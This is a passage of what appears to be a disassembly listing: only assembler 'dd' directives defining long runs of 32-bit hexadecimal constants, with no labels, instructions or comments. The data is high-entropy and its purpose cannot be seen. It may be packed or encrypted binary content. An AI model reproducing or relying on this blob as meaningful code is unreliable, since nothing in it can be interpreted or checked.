		dd 0DFF71395h, 9164DBA0h, 0D1482601h, 0A5D9EC5Fh, 97602071h
		dd 3AB7C3Dh, 93DFBFE4h,	95908735h, 0CE00257Ah, 8D479F20h
		dd 13ABD8h, 0A1240401h,	0D3DFEF80h, 5A7D8400h, 0A8B6470h
		dd 0EB0F3091h, 0FFD0C690h, 0B835E53Fh, 9A778F12h, 66B6E0C4h
		dd 1FE8BEh, 68FA0C8Ah, 75E92886h, 1698BF00h, 4DAC1D73h
		dd 17C10357h, 0A95CC9Dh, 0B413E6B0h, 86005C7Dh,	62C05A59h
		dd 263B835Eh, 0B9B539h,	2CEAE040h, 0F528D00Eh, 0DE0A8CB9h
		dd 0AC9E4AB3h, 9946AE00h, 0BCC104h, 1DD010F0h, 6C0CD74Eh
		dd 6100E373h, 28504D68h, 8092C28Ah, 2E00ECF3h, 0A3AEC19Fh
		dd 12DD112h, 0AA312273h, 0F1599899h, 2505D40Dh,	0E1EB3300h
		dd 0FB6AFF13h, 8EFCF8h,	0D23DCABh, 5B7C6ECEh, 36BEA900h
		dd 550FCA68h, 2B760750h, 7003B464h, 0D37A6F2Eh,	654BCE00h
		dd 0A3BF5CAh, 23C100FDh, 1AE97180h, 0DA00702Ch,	69CB68B3h
		dd 7655E3Fh, 0EED4F28Eh, 2FFD93DEh, 9354B0C8h, 3F11EF60h
		dd 0EA9D65Ch, 0E5554ECFh, 9EE009CEh, 488C21B3h,	0E903E87Fh
		dd 0C7E1F6C8h, 0DBB1F043h, 0BCED0042h, 3F32914Eh, 89000298h
		dd 55EEFB58h, 7C116C97h, 0F5DE056h, 0EB8C38A4h,	0E2667781h
		dd 0D0D1F048h, 1BC7B5Ah, 0ABE92Eh, 343B0F6Bh, 220E77E0h
		dd 8076129Bh, 69D51D90h, 96B50057h, 2FA7CF5Bh, 7300ED19h
		dd 4394F1C3h, 3CDED127h, 8F001CF5h, 0D5EE15ADh,	0DB00E9F2h
		dd 6C6007D2h, 939574h, 8894AB70h, 0CB06F754h, 0FDA4AF00h
		dd 0B01B5FD4h, 86470704h, 93148A82h, 51D8B4AEh,	0A6006619h
		dd 0CFB4331h, 316F808Eh, 1B22F5B1h, 27588067h, 46360FC3h
		dd 687E001Dh, 1216F26Ch, 0FD00AE52h, 5AE74420h,	0F6E5C2F7h
		dd 0C3330003h, 0FA9E32F5h, 1A002DF9h, 60092677h, 0C5943A2Eh
		dd 20AA8250h, 442FA504h, 88ED0515h, 8A3E90Ch, 3FCD4030h
		dd 0DC035BC4h, 301ED104h, 0F9C58094h, 31D9E663h, 88191A67h
		dd 22A008B7h, 8C11057Eh, 4810C7F1h, 0F024847Ah,	3C3A720h
		dd 18509889h, 88103CBCh, 11F301D0h, 24427B78h, 0F13CA7B4h
		dd 0AC1054EAh, 88600ACAh, 23414AE0h, 0C4121FF7h, 314C30A4h
		dd 75086138h, 7C482050h, 3C0323Eh, 76CC2627h, 0AF70A8A9h
		dd 3D87B90h, 0FCE7C40Eh, 60DF30E1h, 8CF25E49h, 43365A00h
		dd 61BA7501h, 0EC220062h, 7E2BC7BDh, 8CE44B3Ah,	0D24A1F00h
		dd 47B7015h, 0B9A0006Bh, 9CCE46E2h, 280038B0h, 5F80C53Fh
		dd 0EDCDD3h, 1A5C71DCh,	7E0B9219h, 27848802h, 0DFE98907h
		dd 0D0EE7AC1h, 0D0009159h, 0AC50AE22h, 8CC14h, 9B703C7Dh
		dd 0CF4C1AFEh, 0D1E4CA4h, 31172AF6h, 0C0D96C00h, 0D8ACEAh
		dd 0B4028971h, 0B69C3809h, 2359FD1Fh, 60F7D28Fh, 0EE4B30F0h
		dd 0F5D10011h, 7F1B095Bh, 4A00E9B7h, 0AE43D360h, 15A8C896h
		dd 1CE55D87h, 4E9427C2h, 0D3C001Ch, 84AB7D0Ch, 1EF6FC21h
		dd 62403D1Fh, 0CE55C7C3h, 3B2DC0F2h, 609E0A69h,	0C7C06430h
		dd 365950B2h, 3201394Fh
		dd 9F84556Dh, 0F09F63AFh, 2790C037h, 540B8D99h,	0E84F2A00h
		dd 9AB04EC6h, 686200BBh, 0EB60FB3Dh, 8EEE45h, 0DCD6FC74h
		dd 0A61694A9h, 88226300h, 3DE5D15h, 7C1A38B7h, 58D17680h
		dd 32A1CC94h, 0AA00A5FCh, 609A8777h, 0C01D39F9h, 0CDCBC688h
		dd 417E8E12h, 10F648h, 3503F9B3h, 0C12B79D7h, 90601A29h
		dd 2D45EC7Ah, 16C0E324h, 0DA2B031h, 0A6081DFAh,	8229D6A3h
		dd 74604C53h, 90B662B7h, 1737274h, 0B4D9F395h, 40B24230h
		dd 0EC17E2C8h, 78C13E0Ah, 1506C088h, 0F140CFA7h, 0C0CA4F4h
		dd 0CACCC4AEh, 0C3019431h, 76636AEEh, 0AE8ACD8h, 0E5E702DFh
		dd 75066D49h, 8C10744Ch, 93BCA87Bh, 43F0D800h, 0DE84351Fh
		dd 13DD14C7h, 240FC031h, 80E03721h, 0BA1F8DE0h,	0ECC7B48h
		dd 8032BD53h, 0B81E4B62h, 69DA0CFCh, 13002D4h, 5C546D01h
		dd 3FDC4F7Dh, 0A5534970h, 326670ACh, 0BB5A8F00h, 565B4EFBh
		dd 77621202h, 0E59471D4h, 0D44EEE0Dh, 30657F0Ah, 14FE445Fh
		dd 0CCC971F8h, 203DB904h, 0F240800Bh, 41245746h, 79C734D1h
		dd 85EBB1C7h, 0AD0002F4h, 0E483E1CFh, 0E88F092Ch, 0E81D7804h
		dd 0DC688B12h, 0EC0400CEh, 3C2B9481h, 8604A838h, 0DF3B9F91h
		dd 0B0058CAh, 0A239BFBCh, 6B006130h, 3B0E319Eh,	71D45126h
		dd 0ED83008Ch, 3FE13EA4h, 0FE7C87E0h, 4B738B00h, 7D728223h
		dd 243B040Bh, 8185F02Dh, 0C80E6208h, 11703F0Dh,	5FD08C00h
		dd 9E1E0A8h, 84770A99h,	93D0494Ch, 0BB800050h, 62F79D78h
		dd 65243073h, 845564F9h, 0CC9716D7h, 0F2005008h, 0CEA7611h
		dd 1EBFEB30h, 1FBA850Bh, 0EC080035h, 878CDF55h,	0C58C824h
		dd 0CB7A8355h, 0D83C7245h, 6F349DEFh, 0D0000464h, 0E54F043Bh
		dd 1DF60A44h, 57FCF9F3h, 0B6163000h, 3FD3E2F4h,	0B52A7971h
		dd 0FA8800F4h, 0F6ECAAA2h, 3152D40Ch, 90B68780h, 0CF77D242h
		dd 0A22A4728h, 0E8C73465h, 6E019022h, 6D47113h,	0B8878AACh
		dd 83D2A91Eh, 111E8114h, 3908D1A8h, 38FF8386h, 418C87C1h
		dd 0DFD43B10h, 0D8E13835h, 51EC1098h, 2950D985h, 0FCB2B0C0h
		dd 38A7CE0Fh, 5C936030h, 9CBDE87h, 79E9BB3h, 0C0554025h
		dd 0FA5D790Ch, 92D0ED50h, 70402760h, 3E5E22F4h,	71FF15Ah
		dd 0E476C23Eh, 9C848779h, 0F40C8138h, 0B9C050D6h, 92EA4E0Ah
		dd 7F2F3300h, 41BB3609h, 2C21E450h, 28B86DE9h, 7BE40400h
		dd 0D0CBE362h, 3C243F8h, 1A0E2D03h, 0D8B9065Bh,	237D33Ch
		dd 5A587972h, 0E48041A1h, 0C4F01C9Dh, 22802B50h, 0E97EFA12h
		dd 0C8479033h, 261580F7h, 83D0BB08h, 6EB7A55Bh,	9194CAF8h
		dd 64CF3600h, 0DD6A2190h, 0C1C50049h, 0CB8EBD67h, 1B0658EEh
		dd 979B333h, 3C295848h,	0BD609E8Fh, 410A07DCh, 27B03800h
		dd 8FF9CBECh, 5D4E0034h, 7D2CE232h, 0A0CD798h, 0A8316A75h
		dd 48A01682h, 30081E2Bh, 7AE7FA60h, 0D417F801h,	637E68C5h
		dd 7A48D0C8h, 70FC6042h, 0F0794062h, 3AE3C200h,	0A3462009h
		dd 55351D53h, 0EA7DC0EDh, 0F5901C86h, 0FCD53A28h, 0C0060224h
		dd 0E54E2581h, 0FDCCCFF1h, 0AB700046h, 42AD3A8Ch, 8E00EC32h
		dd 0B020478h, 6097E4h, 1BB39F57h, 8B4D3B5Ch, 249CFC00h
		dd 8015476Ah, 63C53BBAh, 2F10EA80h, 0D7AB7242h,	83739C18h
		dd 95B0AEh, 2163F529h, 0B5E8850h, 0EF98E978h, 13BD4D06h
		dd 31EA95h, 0DA1B1933h,	0A0C16E8Bh, 0E22DCB1Fh,	0D31F4F03h
		dd 0E041F9DBh, 0DF1BE0h, 4C14B1B2h, 0D93402DCh,	46A410C0h
		dd 781A7Ch, 714E9E3Fh, 0EA60C16Dh, 0E344C40Ah, 0BC6020F2h
		dd 14D85B45h, 189FB3AAh, 437A400Ah, 0C8584D14h,	18C7517h
		dd 79FDEA20h, 8AF718A3h, 30476108h, 36E3C5CEh, 91C27h
		dd 0BD03E74Ch, 4CEC57FAh, 4C9C7062h, 98DCE039h,	0E6A308E1h
		dd 0EB78E265h, 38A92144h, 40D5C09Eh, 0F5848E30h, 8AA0C794h
		dd 39C3E1D1h, 5663C960h, 0ABC29CF8h, 34908F61h,	31053380h
		dd 47BCC3FBh, 1F1C3860h, 0C31C29Dh, 12C0C34Ah, 4315E17Dh
		dd 8230406Bh, 90A94BCBh, 21414018h, 0CB60E0BFh,	6199FD0h
		dd 20C34B60h, 448EB894h, 0D8D1531Ch, 9C0F11h, 23C42866h
		dd 0EE1F9C10h, 0B4E84FE3h, 468CA210h, 4F1470B6h, 8224DC5Ah
		dd 802F30E0h, 0ED516880h, 9F1A0783h, 0E6B223E1h, 41561079h
		dd 0A0B00248h, 109FB304h, 0E380E5C0h, 0ED44000Ah, 0E18B7EA3h
		dd 5C7B1A63h, 0EF3AB2E8h, 5858A79h, 0EF585044h,	2C82522Ch
		dd 0A007A014h, 281488F6h, 80688F75h, 0C423AB80h, 54FA83h
		dd 87A343EDh, 573203E1h, 0F0C946F1h, 0D64849F0h, 0A61500E8h
		dd 5368A3E0h, 3CC375E3h, 1F02E769h, 7E23784Eh, 0F4CDC96h
		dd 2B7960B3h, 0B560CD75h, 83017AF8h, 63FB2EA1h,	0A44294C4h
		dd 0E3848129h, 88407CF5h, 0F8E26401h, 0F860D09Ah, 9F688F1h
		dd 4F406184h, 0C0110D9Ah, 0ED52E040h, 0E8566F63h, 29B4098Ah
		dd 0E7B06C7Ch, 3F756710h, 0D1AC20C0h, 0B41503ECh, 0D874FB30h
		dd 463F6088h, 0E84C70CEh, 90C33B70h, 70B6DCCAh,	0E4F7CF2Ah
		dd 6CE03880h, 635D7304h, 88DE434Dh, 0C2A37B00h,	0CEA6F02Dh
		dd 2AA46009h, 1816B9h, 6CD79FABh, 40C7941Ah, 4BF8C614h
		dd 9B76B0A8h, 41220089h, 1120CEA5h, 0E31C4BFFh,	3C52145h
		dd 18204CC3h, 459E972Fh, 731FC017h, 0E4682D90h,	0E5E01808h
		dd 0DF2860EAh, 0E2CE4589h, 9E58704Bh, 552C0467h, 0C00E1481h
		dd 16EE4922h, 9B2B2EB0h, 41282629h, 5CEC09AEh, 6B005B3Ch
		dd 0A0174FB4h, 0C1B580CEh, 0C7242328h, 8ED033EEh, 6EB9E035h
		dd 4860C78Bh, 0A300F4ACh, 0E3561F1Dh, 1B738C43h, 0E057A9E0h
		dd 941F3860h, 89B88146h, 63BC82F9h, 0E3F0605Dh,	1B880490h
		dd 8EAA0F03h, 5EEA01D8h, 0A19E2281h, 9B5CC440h,	434AEE1h
		dd 0B59D2D38h, 7E74D32Eh, 9FE26114h, 0F0B4A018h, 0D4B612CCh
		dd 4E340676h, 9005D030h, 0F88350DDh, 0B1A0C810h, 6AFD622Bh
		dd 30CEB8FCh, 433099C0h, 987CFADh, 56067DFAh, 0A00930B9h
		dd 1650AEBAh, 28620A9Ch, 9294C4D4h, 19482880h, 18264D2Eh
		dd 52AE6040h, 0E7233457h, 2ADC2C50h, 4F204DF6h,	0D6401269h
		dd 1D7438B6h, 9933947Bh, 812058BEh, 505C4BCEh, 70471B71h
		dd 3A80516Eh, 8285546Fh, 6BE48CD0h, 2DE850CBh, 3035754h
		dd 24517084h, 440818C8h, 0F543C0DCh, 29FC0C50h,	3CAEA874h
		dd 58CA1C0Ch, 3C0514Dh,	83573813h, 0E3A3508Bh, 852C417Dh
		dd 1305186Ch, 0F82C6530h, 755E09D3h, 902688DEh,	0A4A5301Dh
		dd 0DBF9AEBFh, 362300Bh, 9720E3F4h, 94B40132h, 8D490A50h
		dd 80DCE702h, 58D54260h, 135CDC03h, 214DE0E4h, 9C87306Dh
		dd 0FBBA4088h, 6F045201h, 0FEA3E66Ch, 59841087h, 0BA24C1A0h
		dd 782C20F6h, 1D84A158h, 163CF4E5h, 0D8388D09h,	0E2A21250h
		dd 20144301h, 0E4930752h, 9082F9B2h, 0C4625E1Eh, 0EECFB06Bh
		dd 0A3834880h, 633BB022h, 43BC83F4h, 0D9452998h, 23D03F0Ah
		dd 80C46674h, 6CF00859h, 8344BB1Ch, 708198B7h, 0A5E07306h
		dd 0D8E2E9AAh, 2CE301D0h, 9C3724Ah, 8FC1D750h, 0C263E44Bh
		dd 0FF38F762h, 23847E2h, 58711457h, 8600D8AEh, 1E03E660h
		dd 0FB9840E1h, 8301E777h, 0E3EC11D2h, 708393F7h, 0A3784A66h
		dd 23C3FCB3h, 2C98C58Ch, 0C11B6FCCh, 0EA61C634h, 8494804Ah
		dd 18C5A03Ah, 0B0381AA3h, 0E207102Dh, 0E7D16F63h, 0E894A14Eh
		dd 0A040EF83h, 745795A3h, 0B8F90472h, 8797C3E7h, 85D9446Ch
		dd 62902C51h, 3A184B12h
		dd 0E6C01840h, 7E4514Ah, 63C5A2D5h, 23836ED8h, 0C8004D77h
		dd 0C379CDE2h, 0B1EEC443h, 47616F84h, 24A403BCh, 0BD6A736Ch
		dd 0B9BD2448h, 0C3488D53h, 0A3E0689Ah, 6164F806h, 9B24F05Eh
		dd 6A289FEEh, 0C8C40A7Eh, 0DD18B0D5h, 3F3D6418h, 9B0E4A3Fh
		dd 0B18C50C5h, 423C63A0h, 63E0C8D8h, 24DB0C69h,	14F449C1h
		dd 640CD4E9h, 0FB403D57h, 0B0214Ch, 0C3C5D9F6h,	1F514E7Ah
		dd 226AA84h, 0E6617E43h, 610F98C3h, 84E1E85Bh, 0F0814DE2h
		dd 50B9AC1Eh, 6086386Eh, 9601B0A7h, 9B03E0BCh, 0FBD1555Ah
		dd 0DFE3088Ch, 0B2512318h, 8BC1D1C4h, 87B7A111h, 80C70E0h
		dd 0A310C6A6h, 0E37F20EDh, 1CC0055Ch, 638018C4h, 0A373AEC0h
		dd 723904F4h, 8085C643h, 786B9774h, 0A2664CF0h,	1210DF20h
		dd 3AC723h, 79BA3B08h, 0D248FE43h, 1CF92454h, 2F120305h
		dd 8E24E4C1h, 30D5A1E3h, 0EA2143E0h, 0FF6337ECh, 6A5CC07Ch
		dd 54D4E3E7h, 91630CCh,	0F8BC4C2Dh, 0BDF61C1Bh,	733C7843h
		dd 2C74B918h, 7C095B9Dh, 86E6A363h, 0F808A714h,	1E97849h
		dd 7E144F83h, 8CEB5DE3h, 20EE3E10h, 988248EAh, 68C5212h
		dd 888B7A4h, 7D8AE48h, 0E2628083h, 0C01BB1C2h, 0F15937FBh
		dd 0D2C0DC22h, 16D3EA55h, 73648E58h, 0DB84D4A0h, 44172C90h
		dd 740AEE0Ah, 0CC89F4D6h, 230C0422h, 241C7C93h,	0BD208308h
		dd 6A18612h, 30DF95C8h,	38909FEEh, 0D6219060h, 48235625h
		dd 3092047h, 0C02BA43h,	0E4C1AF75h, 11C24D2h, 13A4B24Ch
		dd 0B4096214h, 42CCA144h, 0BEF0E1EEh, 7F0E9EAh,	2354086Dh
		dd 9613C69Ah, 30433402h, 8DF4C17Eh, 61233020h, 0B66318A8h
		dd 39A0F390h, 1AF0E633h, 0C3E10609h, 92200E1Ch,	6E00385Fh
		dd 6BA3E770h, 1910CE05h, 798473CFh, 0B828829Dh,	75ED870Eh
		dd 0D281804Fh, 90CB43ECh, 87C31D1Ch, 74E3118Fh,	42F06241h
		dd 6220905Dh, 0B3A3084Fh, 24942058h, 27AD8303h,	4DF3C0B0h
		dd 0E6324BCh, 0C908C1Ch, 92586480h, 60842424h, 0EEBB8285h
		dd 13072C8Bh, 0B9182B03h, 64220441h, 0DD049B5Ch, 0F40FC373h
		dd 50D8FCB2h, 60944008h, 38DB303Ah, 90CD0764h, 2694BA0h
		dd 5EB60298h, 9A8364E5h, 1325BFEEh, 0A6C2041h, 0C0348430h
		dd 0FDF406D1h, 0EBE0AC9Ah, 4C614940h, 0AE0174AAh, 1D23485Eh
		dd 0AC2701A7h, 9824CC02h, 9EA34481h, 0D84C0989h, 0C7DA3824h
		dd 14107E74h, 19F45A2Bh, 0B058AD47h, 481A7434h,	7E166CEBh
		dd 351C053Ch, 9908820Bh, 5D842440h, 1920AC48h, 1038A108h
		dd 0E2C3F860h, 7E50C06Dh, 5143ED49h, 5D0CD8DFh,	9A3158A3h
		dd 158F4478h, 3E77106h,	4DC07C72h, 422478D2h, 0CD230930h
		dd 0E889480Eh, 54878A2h, 4887D304h, 40B85942h, 0F0123874h
		dd 105A6DE3h, 0D3642428h, 185CBD4Ch, 2C08DA67h,	264478F9h
		dd 0A28E0DFh, 3DC7731h,	0A37D240Dh, 0B5F15E98h,	0F77AE103h
		dd 0A07F09F5h, 0C3F15h,	0A9B895F2h, 233DD5F3h, 0AC58F0F1h
		dd 0B351F0F1h, 49A418C3h, 788AC3F1h, 357D0120h,	1BB93660h
		dd 1CF06F65h, 62961E61h, 841E3A18h, 0CE760088h,	95F66089h
		dd 0B63CAE07h, 0D640F817h, 0F83357DBh, 0EBB8009Dh, 0E9C62D75h
		dd 0F1FE3EF5h, 257CD573h, 221F951Dh, 10C11E3Ch,	0D7EB507h
		dd 1B5C15C3h, 40485520h, 31015EC3h, 0F5EA846Eh,	3898F03Fh
		dd 8735084Bh, 0EAD53489h, 3F24AFE0h, 0CFA6B5FAh, 0FBA20EDBh
		dd 505475C6h, 12955518h, 105D3D08h, 1841D5EAh, 0DD713675h
		dd 96630EF7h, 30DFE428h, 2669509h, 9C566100h, 0E555DC49h
		dd 0D5FA00F1h, 366F50BFh, 3F4CE6B6h, 0A63C009Eh, 4E1BBA02h
		dd 101653DBh, 77E72C00h, 4E752DF6h, 5833FB0Fh, 0C53E01DEh
		dd 14F77674h, 1C1395D0h, 3CFB75C0h, 0C4007F07h,	30AB1B43h
		dd 0B878966Bh, 921624CDh, 0B4350504h, 6BC0A0Ah,	0B9966020h
		dd 7C405C58h, 0FCC8413Bh, 27702657h, 3DDAFB0Fh,	3C2500A0h
		dd 9097B0E0h, 18C9002Bh, 0AE6C81B9h, 87982FE9h,	8EF7B402h
		dd 60A6983Dh, 1BBBDh, 0C1085293h, 0E1B6687Bh, 0B4295802h
		dd 90161741h, 1508A20h,	222EDF11h, 9D42C696h, 1B54A138h
		dd 339B8014h, 802D4B20h, 5740EBE6h, 0A2B3015Ch,	2CC26F81h
		dd 0D0462160h, 0BE71DFA0h, 7B10148h, 566EE03Eh,	8DD0C4Eh
		dd 199E6660h, 37441158h, 0B42080C8h, 41B78409h,	0C0960027h
		dd 0F82109D4h, 8CD851C1h, 0C0F30731h, 0F0267402h, 3F900063h
		dd 3E5846C0h, 0B86F0F80h, 504C2B20h, 0BED4298Eh, 4BB560A0h
		dd 6D02DB12h, 3D0698E3h, 0A0C08611h, 0BEF0F1B1h, 0EC0F0381h
		dd 0ED5FC1B5h, 881006D7h, 228E056h, 0CC6B397Dh,	862604DCh
		dd 0EF50204Eh, 0C0A540ECh, 14384600h, 778FF7D6h, 90AF0595h
		dd 30DCC1BEh, 42A0C72Ch, 66A9FC63h, 0ECE848F3h,	0C26A41Ch
		dd 97F0B42Dh, 0C02F0515h, 7138020h, 0C2E8208Fh,	4F298668h
		dd 0A3852C42h, 218C2CB6h, 4739C204h, 2C82DE84h,	40D08278h
		dd 7CA88814h, 168E61EEh, 3088FA30h, 0A01277C6h,	66F2429h
		dd 0C8DFA1BBh, 288AE631h, 0D8413C20h, 8801A60h,	0BEF39640h
		dd 39489E21h, 0DA1D1904h, 3C4C65E0h, 0D4A50A3Bh, 81E0C7DEh
		dd 603F6ACAh, 81B3E041h, 0E408846Eh, 9DC22DC7h,	0E18443D9h
		dd 0EC4189C0h, 1898344Fh, 663B095Ch, 0BE7788A1h, 1A8B0108h
		dd 1F1021E5h, 783963D2h, 0C5602E08h, 3A11291h, 80F1A050h
		dd 84EB837h, 0F18B066h,	26B211E0h, 0F8E8208Dh, 0DDF19CF9h
		dd 1928B83Ah, 0FFD8EAB6h, 0D6A01080h, 16402537h, 1E248D38h
		dd 1386172h, 60275688h,	80E03282h, 718DD10h, 8626B764h
		dd 4C0609CAh, 48A0211Dh, 0DEE01278h, 0E2680758h, 9B20435Bh
		dd 0A6280870h, 256AB8D9h, 5F184C10h, 628D18h, 4C048024h
		dd 0C98AC021h, 0C3DCB0C6h, 1AAD3E60h, 0BE353278h, 44498FD8h
		dd 823198EEh, 782A8018h, 0C4D5E802h, 81D7A038h,	87E960D0h
		dd 937CC078h, 10098086h, 3090B840h, 1FC0B8D8h, 4230CA8Eh
		dd 85E988Ch, 0D03C41E0h, 10110E24h, 8169093Ch, 0DFCE4004h
		dd 7A9CA440h, 0C62BE003h, 61D1A058h, 0E1B4E851h, 60088CE9h
		dd 28C0183Ah, 3A982135h, 0E095F9AEh, 0B50190D6h, 5C20056Eh
		dd 0EA0C20CDh, 0EE09C8h, 2F278241h, 7C7CF160h, 4360AC99h
		dd 48CEDE30h, 260A88E7h, 501468C5h, 40710A45h, 4619EC92h
		dd 72682BFEh, 0E2E7144Ch, 0F0853157h, 0D1E86650h, 86145CB3h
		dd 0A0979512h, 9BE8B05Dh, 5FE1B30Ah, 2A502C50h,	7A5C00B5h
		dd 0DA03F2F4h, 200009CAh, 39EFF955h, 768335h, 14B0B53Fh
		dd 745F15AEh, 0DD3AA77Ch, 21317C79h, 63721098h,	3E4A75F0h
		dd 461FA826h, 0D81503D4h, 0CC03957h, 0D51D8DB3h, 0F507ABA2h
		dd 95808723h, 20A072h, 53386CB5h, 7409F063h, 828F7F00h
		dd 0B9C4FA1Fh, 0C6D51498h, 598014A5h, 0D02661EFh, 1A026D1Ch
		dd 353DCF81h, 0B89FB573h, 0D5200130h, 0E86C4DB9h, 0A1001D4Fh
		dd 3954D495h, 0F1B8BDF5h, 0F8BB1CF0h, 0A2652955h, 0AA0E0030h
		dd 3DFECD2Dh, 0E13A1F14h, 0ACF5008Ch, 0B6756CFCh, 51D5E84Fh
		dd 47F188E5h, 8D950880h, 5735A8CDh, 0D47510C7h,	6155AE21h
		dd 53156A30h, 0EB0034C9h, 5683EA79h, 5A0703C7h,	753F9D10h
		dd 0F5A89710h, 8FFB060Eh, 40B1E415h, 0B508AF61h, 90947DCBh
		dd 0CEC328DCh, 0F7A06971h, 7A281F19h, 3531E041h, 2152916Fh
		dd 5BA896E2h, 287BAC2Eh, 9A28A8DAh, 0B52AA0FAh,	221DA4FFh
		dd 0C71A8F90h, 0ADC1678h
		dd 0FB4C4321h, 17BA8AC8h, 0D34F6010h, 0DB24FEB6h, 0A43934C4h
		dd 0ED1B0CD8h, 986DA290h, 14DFAA64h, 8CEBA0C4h,	0DB15FA0Ah
		dd 268905ECh, 76D82C3Fh, 9EF90F09h, 1A640309h, 0FC1D853Bh
		dd 7708A999h, 7C718044h, 8A43C5ACh, 3A380AF7h, 9F0055Bh
		dd 6402A879h, 0E8852E5Fh, 401C3354h, 0D8930EF8h, 5A1F5490h
		dd 0F5822BE2h, 968AF10Ah, 6F9C06CCh, 0D0024506h, 61DA7A07h
		dd 60FD356Bh, 0A402800Bh, 0F1DDD85Eh, 999A4040h, 6535D0C2h
		dd 163C4002h, 95A80E86h, 8894AB37h, 21B23BB0h, 40A0724h
		dd 5298BA1Eh, 0CE1ECB40h, 3FAA6238h, 0B176E054h, 14605E7Dh
		dd 0E397DA78h, 8080A5A1h, 0EA9C5E73h, 1905AC41h, 0A76761FAh
		dd 99EB1470h, 6E9E24A6h, 88B785D4h, 0F7870AEh, 6F30B062h
		dd 4D3AB08Eh, 2DD8C9A7h, 10B7D022h, 2C946042h, 4F1837EEh
		dd 5A606B07h, 0D841F72Bh, 8BC4E10h, 9C4C1C20h, 0C05C5254h
		dd 0E610CE8Dh, 0F0CCA88Fh, 14BC90D6h, 90A11892h, 66EA12B0h
		dd 68847612h, 7F4B9400h, 2B6CF585h, 0BF6CA73Fh,	6970786h
		dd 8CA560E8h, 0ED54B781h, 80E2FEF4h, 0AEE3A7B8h, 8B0726D5h
		dd 0AA320A1Ch, 0E0180FD8h, 89E189Dh, 4D8889D5h,	55C60112h
		dd 15A893BEh, 19C0BCE6h, 6620047Bh, 3C22D431h, 378CDCC0h
		dd 0CF4C85EAh, 618131B4h, 35E80422h, 8DE3Fh, 0B5C60DF4h
		dd 0D890064Ch, 3EC21D07h, 0ACEA6115h, 6170931Ah, 58007310h
		dd 0B491968Ch, 2E473C60h, 841F50FAh, 6997661Ah,	0EC85788Ah
		dd 0F5014381h, 0A0897879h, 7802FC3Ah, 0B88A39D5h, 0D0B85878h
		dd 0F4DF7112h, 3F5A5C06h, 9DF88528h, 8DCF0214h,	90617FDEh
		dd 558AF8F4h, 42C4FF48h, 935AC0F8h, 48A16952h, 590AC43Ah
		dd 0E040A7D9h, 899381BEh, 57BA59C2h, 28847D9h, 25025075h
		dd 0F8DABCA1h, 814C23FDh, 0AA07595Ch, 9DFA8051h, 835050A3h
		dd 0FAB790ADh, 0F61A513Fh, 0A000F8A7h, 0A626EFE8h, 67A8A016h
		dd 0C1A8913Fh, 0E936966Eh, 0DAA450F3h, 78AEAEB2h, 5CCDF60Ch
		dd 157A297Fh, 64AEB08Dh, 6F24D5C1h, 9A443444h, 0C73CC852h
		dd 8424490Ch, 363EBA40h, 9E58158Dh, 59350F38h, 24F5A08Eh
		dd 615539EAh, 0AD75103Ah, 78B8F2E3h, 1C2E0903h,	0DA85245Ch
		dd 0B4026966h, 4173CC80h, 89BD1ACh, 72C16020h, 0C1B060D4h
		dd 780471C5h, 7A7C7481h, 9661098h, 4B000FDAh, 0ADB141AEh
		dd 44EB8Eh, 7D3A3CDEh, 2572D4E6h, 26D39200h, 5BCE1BA4h
		dd 414A4AEh, 6A69738Ch,	0E4F30009h, 472E4B1Bh, 0EF9000E2h
		dd 0DBA89B5Eh, 79130292h, 0D30E4B14h, 35503C98h, 712D0B03h
		dd 0F8339249h, 478E1BB8h, 9AF306EAh, 0A5185F6h,	0B2288653h
		dd 0B5E1E03Ch, 7A7835B7h, 3739200h, 5DCEB3CFh, 1EEE8CCh
		dd 0AEAD895Eh, 5C250621h, 373CCD48h, 0C853DD8h,	40F49392h
		dd 14B0700Eh, 38ED2684h, 0F41304C0h, 0D37B959Eh, 6848B300h
		dd 4EB8AE2Ah, 630AE1Bh,	0DAA423F4h, 86FEF093h, 602A1F21h
		dd 647912F8h, 0B48B3B28h, 2A14C303h, 82BA6FCEh,	10E5E26Eh
		dd 183D8618h, 58744136h, 75083A13h, 0E34EEE2Ah,	88EA30ECh
		dd 0BF3390A0h, 0A4A52A70h, 3EB6D583h, 53511855h, 904E28BDh
		dd 32053CA6h, 0FF7A8912h, 1973CC00h, 7EAF25h, 3E0F337Fh
		dd 882A8D90h, 83C6A839h, 6E80CCA5h, 1986A001h, 356629DEh
		dd 0B0F90014h, 184632B2h, 617A3Fh, 0C5FEDE1Eh, 0F89EDD8Bh
		dd 53967826h, 84071C5Bh, 684E5ACBh, 47064100h, 74527E97h
		dd 61FE194Ah, 4C6C40ECh, 770C504Ch, 38DF8B28h, 141BE6A1h
		dd 14913E10h, 0BB70F2C0h, 9A069240h, 72768179h,	560C0050h
		dd 5491BEC4h, 8A291E10h, 0FB011C32h, 0FED6315Ah, 2BE16080h
		dd 0B79EC4DDh, 7640A90Ah, 9660349Dh, 0FABF4332h, 8010C08Ch
		dd 8A3EEB60h, 8BE9B3Ah,	6898AD7Dh, 1A4DD004h, 0E8FE4A00h
		dd 85E44BA3h, 3500FC2h,	8D60EB72h, 3D543B8Eh, 0B518DD74h
		dd 33924ACh, 909E00C6h,	0A704F28Eh, 9800375Bh, 0D093E23Bh
		dd 0EC2BB72h, 256C3C41h, 0B64E6020h, 0CA606E88h, 27F23B40h
		dd 1BC20119h, 7A099E1Ch, 149BD0ADh, 17FC20C0h, 0A94DFF9h
		dd 3488705Dh, 760E3E80h, 3FE074EFh, 1578A7C6h, 77499200h
		dd 57C2BAE9h, 0BD3E026Fh, 33069182h, 0B05AAE23h, 76D78DEh
		dd 0E7114503h, 9A53D0F4h, 3A008491h, 39D6FC83h,	58DEE9EBh
		dd 0C1009FCEh, 22214E17h, 95014FFEh, 1EE64B50h,	1180D162h
		dd 71E7A099h, 9400441Bh, 9BB83760h, 1DC667E0h, 0B03FAEh
		dd 0BB15C13Bh, 42766CF9h, 0CDE47800h, 184A3A05h, 50E10327h
		dd 38A2EFA9h, 97628C00h, 0C994D626h, 1CC300A4h,	59D0B5BEh
		dd 20036A57h, 184B78EFh, 0AC93E7h, 0D91B4141h, 5916D035h
		dd 0C8D9158h, 206ACD6Ch, 97040070h, 49BDB20Ch, 0D6042FAAh
		dd 3BFCA1BEh, 60B69600h, 0F1F6D432h, 98C71B1Ch,	687A7541h
		dd 6DEC3978h, 0B1E9003Fh, 902A2923h, 1E5481A7h,	60045830h
		dd 91DDB1B0h, 21005A33h, 8C970A8Ah, 488DABh, 0A5A85026h
		dd 851F7314h, 0F6099E7Bh, 8E7C3BC9h, 92E8988Fh,	7D38005Ch
		dd 6F8B2C91h, 7E0E9322h, 0A7A4ABF1h, 65D1A075h,	3083702Dh
